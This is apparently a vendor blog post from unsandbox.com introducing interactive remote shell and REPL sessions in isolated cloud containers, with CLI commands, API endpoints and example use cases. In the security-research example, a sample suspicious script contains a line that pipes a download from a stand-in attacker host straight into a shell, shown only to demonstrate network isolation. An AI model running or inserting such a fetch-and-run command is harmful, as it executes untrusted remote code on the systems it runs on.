unsandbox.com
Anonymous remote code, compile, & execution API for humans & machine learning agents.
Docs ๐ View Pricing โDecember 15, 2025
Remote Sessions: Interactive Shells and REPLs in the Cloud
In our previous post, we showed how to teleport files into sandboxes. But what about getting data out? And what if you need more than a one-shot execution - what if you need an actual interactive session?
Today weโre introducing Remote Sessions - persistent interactive shells that run inside unsandbox containers. Think SSH into a cloud VM, but ephemeral, isolated, and with built-in auditing.
The Evolution: From Execute to Session
Our original API was simple: send code, get output.
POST /execute โ { stdout, stderr, exit_code }
This works great for automation, but developers wanted more:
- โCan I poke around interactively?โ
- โCan I install packages mid-session?โ
- โCan I use vim to edit files?โ
- โCan I get a Python REPL instead of bash?โ
- โCan I export files I created?โ
The answer to all of these is now yes.
Teleportation Works Both Ways
Remember file teleportation? Files go into sandboxes via /tmp/input/. Now they can come out via /tmp/artifacts/.
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Your Machine โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โฒ
โ un session โ Artifacts
โ un script.py -f data.csv โ (on exit)
โผ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ unsandbox Container โ
โ โ
โ /tmp/input/ Your Code /tmp/artifacts/ โ
โ โโ data.csv โโโโบ Processes โโโโบ โโ results.csv โ
โ โโ config.json Files โโ model.pkl โ
โ โโ report.pdf โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Two-way teleportation:
-
Inbound - Files you send arrive in
/tmp/input/ -
Outbound - Files you create in
/tmp/artifacts/come back to you
The un CLI: Your Portal to Remote Sandboxes
We built a native CLI that makes remote execution feel local:
Execute a Script
# Run a Python script
un script.py
# With input files (teleported in)
un -f data.csv -f config.json process.py
# Get compiled artifacts back
un -a -o ./bin main.c
The -a flag tells unsandbox to collect anything you put in /tmp/artifacts/ and send it back. Perfect for:
- Compiled binaries from C/Rust/Go
- Generated reports (PDF, CSV)
- Trained ML models
- Processed images
Interactive Sessions
# Start an interactive bash session
un session
# Pick your shell
un session --shell zsh
un session --shell fish
# Or jump straight into a REPL
un session --shell python3
un session --shell node
un session --shell julia
What you get:
- Full PTY with colors and cursor positioning
- Tab completion
- History (arrow keys work)
- Resize support (vim/nano just work)
- tmux underneath (sessions persist through disconnects)
Available Shells and REPLs
We support 30+ shells and REPLs:
Traditional Shells:
bash, dash, sh, zsh, fish, ksh, tcsh, csh, elvish, xonsh, ash
Language REPLs:
python3, bpython, ipython # Python
node # JavaScript
ruby, irb # Ruby
lua # Lua
php # PHP
perl # Perl
guile, scheme # Scheme
ghci # Haskell
erl, iex # Erlang/Elixir
sbcl, clisp # Common Lisp
r # R
julia # Julia
clojure # Clojure
Example: Python REPL in the cloud
$ un session --shell python3
Connecting to unsandbox... done
>>> import numpy as np
>>> np.random.seed(42)
>>> np.random.randn(3, 3)
array([[ 0.49671415, -0.1382643 , 0.64768854],
[ 1.52302986, -0.23415337, -0.23413696],
[ 1.57921282, 0.76743473, -0.46947439]])
>>> exit()
Session ended.
Session Persistence: Your Choice
By default, sessions are ephemeral - when you disconnect, the container is immediately destroyed. This is the safest option: clean exit, no orphaned resources.
But sometimes you need persistence. Use --tmux or --screen to enable reconnect support:
# Default: session terminates on disconnect (clean exit)
$ un session
root@unsb-vm-12345:~$ exit
Session ended.
# With --tmux: session persists, can reconnect later
$ un session --tmux
root@unsb-vm-12345:~$ # Press Ctrl+b then d to detach
Session detached. Reconnect with: un session --attach unsb-vm-12345
Session Behavior Comparison
| Mode | On Disconnect | On Exit | Use Case |
|---|---|---|---|
| Default | Container destroyed | Container destroyed | Quick tasks, clean slate |
--tmux |
Session persists | Container destroyed | Long-running work, SSH-like |
--screen |
Session persists | Container destroyed | Alternative to tmux |
Managing Persistent Sessions
# List all your active sessions
$ un session --list
Active sessions: 2
SESSION ID CONTAINER SHELL TTL STATUS
abc123... unsb-vm-56789 bash 58m30s active
def456... unsb-vm-56790 python3 45m12s active
# Reconnect by container name (easier to remember)
$ un session --attach unsb-vm-56789
Reconnecting to session abc123... done
root@unsb-vm-56789:~$ echo "still here!"
still here!
# Or terminate a session remotely
$ un session --kill unsb-vm-56789
Terminating session abc123... done
Session terminated successfully
Detaching from tmux/screen:
-
tmux: Press
Ctrl+bthend -
screen: Press
Ctrl+athend
Important: If youโre running un inside a local tmux session, use --screen instead to avoid keybinding conflicts.
Artifact Extraction: Get Your Data Out
Anything you put in /tmp/artifacts/ gets collected when the session ends:
$ un session -a -o ./outputs
Connecting to unsandbox... done
root@sandbox:~$ python3 -c "
import json
with open('/tmp/artifacts/results.json', 'w') as f:
json.dump({'answer': 42}, f)
"
root@sandbox:~$ echo "hello" > /tmp/artifacts/notes.txt
root@sandbox:~$ exit
Session ended.
Artifact saved: results-sandbox-abc123.json (16 bytes)
Artifact saved: notes-sandbox-abc123.txt (6 bytes)
Artifact features:
- Collected automatically on session end
- Postfixed with container name (no clobbering across sessions)
- Works with binary files (images, binaries, archives)
- Empty files supported (for flag files)
Auditing: Record Everything
For compliance, debugging, or just curiosity, enable full session recording:
$ un session --audit -o ./logs
Connecting to unsandbox... done
root@sandbox:~$ vim test.py # Full vim session recorded
root@sandbox:~$ python3 test.py
Hello, world!
root@sandbox:~$ exit
Session ended.
Artifact saved: session.log-sandbox-abc123.gz (45678 bytes)
Artifact saved: bash_history-sandbox-abc123 (234 bytes)
Tip: Replay session with: zcat session.log*.gz | less -R
What gets recorded:
| Mode | Whatโs Captured | Size |
|---|---|---|
--audit on creation |
Full terminal I/O (every keystroke, every output) | ~1-5MB/session |
--audit on terminate |
Just bash_history (commands only) | ~1KB |
| Both | Everything | Both files |
The session.log contains:
- All characters sent to terminal (including escape codes)
- Full vim/nano sessions with cursor movements
- Interactive Python/Node output
- Colors, formatting, everything
Replay with:
# View the recording
zcat session.log-sandbox-abc123.gz | less -R
# Or use scriptreplay for real-time playback (if timing was captured)
scriptreplay -t timing.log -s session.log
Security: Same Zero-Trust Model
Sessions maintain all our security guarantees:
Network isolation:
root@sandbox:~$ curl google.com
curl: (6) Could not resolve host: google.com
root@sandbox:~$ ping 8.8.8.8
ping: connect: Network is unreachable
Unless you explicitly request network access:
un session -n semitrusted # Enables outbound network
Ephemeral by design:
-
Container destroyed on
exit - No persistence between sessions
- Each session is completely isolated
Resource limits:
- Memory: Capped per container
- CPU: Fair-share scheduling
- Disk: tmpfs with size limits
- Time: Auto-cleanup after idle timeout
API Reference
Create a Session
POST /sessions
{
"network_mode": "zerotrust", # or "semitrusted"
"ttl": 3600, # seconds (max 86400)
"shell": "bash", # see supported list
"audit": true, # enable session recording
"multiplexer": "tmux" # or "screen", or omit for none
}
Response:
{
"session_id": "abc123...",
"container_name": "unsb-vm-12345",
"multiplexer": "tmux",
"websocket_url": "/sessions/abc123/shell"
}
Multiplexer behavior:
- Omitted/null: Session terminates immediately on WebSocket disconnect
- โtmuxโ: Session persists via tmux, reconnect with same WebSocket endpoint
- โscreenโ: Session persists via GNU screen, reconnect with same WebSocket endpoint
Connect via WebSocket
WSS /sessions/:id/shell
Binary frames โ stdin
Binary frames โ stdout
JSON frames โ control (ready, exit, error)
Terminate and Get Artifacts
DELETE /sessions/:id?audit=1
Response:
{
"success": true,
"artifacts": [
{"filename": "results.json", "content_base64": "..."},
{"filename": "session.log.gz", "content_base64": "..."}
]
}
Real-World Use Cases
1. AI Agent Coding Sessions
Give your AI agent a persistent environment:
# Agent creates session
session = unsandbox.create_session(shell="python3")
# Agent works interactively
session.send("import pandas as pd\n")
session.send("df = pd.read_csv('/tmp/input/data.csv')\n")
session.send("df.to_csv('/tmp/artifacts/processed.csv')\n")
# Get results
artifacts = session.terminate(audit=True)
# โ processed.csv + session.log.gz for review
2. Remote Development Environment
Need a clean environment for testing?
# Start session with network for package installation
un session -n semitrusted --shell bash
# Install what you need
root@sandbox:~$ pip install pytorch transformers
root@sandbox:~$ npm install -g typescript
# Do your work
root@sandbox:~$ python train.py
root@sandbox:~$ cp model.pt /tmp/artifacts/
# Exit and get your model
root@sandbox:~$ exit
Artifact saved: model-sandbox-xyz.pt (150MB)
3. Security Research
Safely analyze suspicious scripts:
un session --audit -o ./analysis
root@sandbox:~$ cat /tmp/input/suspicious.sh
#!/bin/bash
curl http://evil.com/payload | sh # Can't reach evil.com!
root@sandbox:~$ bash /tmp/input/suspicious.sh
curl: (6) Could not resolve host: evil.com
root@sandbox:~$ exit
# Full session recorded for analysis
4. Teaching and Tutorials
Students get their own isolated environments:
# Student runs
un session --shell python3
>>> # Follow along with the tutorial
>>> import matplotlib.pyplot as plt
>>> plt.plot([1, 2, 3], [1, 4, 9])
>>> plt.savefig('/tmp/artifacts/plot.png')
>>> exit()
# Student gets their plot
Artifact saved: plot-sandbox-xyz.png (12KB)
CLI Quick Reference
# Execute scripts
un script.py # Execute Python script
un -e DEBUG=1 script.py # With environment variable
un -f data.csv process.py # With input file
un -a -o ./bin main.c # Save compiled artifacts
# Interactive sessions
un session # Bash shell (terminates on disconnect)
un session --tmux # Bash with tmux (can reconnect)
un session --screen # Bash with screen (can reconnect)
un session --shell python3 # Python REPL
un session --shell node --tmux # Node.js REPL with reconnect
un session -n semitrusted # Session with network access
# Session management
un session --list # List active sessions
un session --attach unsb-vm-12345 # Reconnect by container name
un session --kill unsb-vm-12345 # Terminate a session
# Auditing and artifacts
un session --audit -o ./logs # Record session for auditing
un session -a -o ./out # Save /tmp/artifacts/ to ./out
Whatโs Next?
Weโre working on:
- Session sharing - Multiple users in same session
- Persistent storage - Optional volume mounts
- GPU access - CUDA-enabled containers
- Custom images - Bring your own container
Try It Now
-
Get the CLI:
# Download from releases or build from source curl -L https://unsandbox.com/cli/un -o un chmod +x un -
Set your API key:
export UNSANDBOX_API_KEY=your_key_here -
Start a session:
un session --shell python3
Welcome to your cloud sandbox. What will you build?
Have questions? Found a bug? Open an issue or reach out on Discord.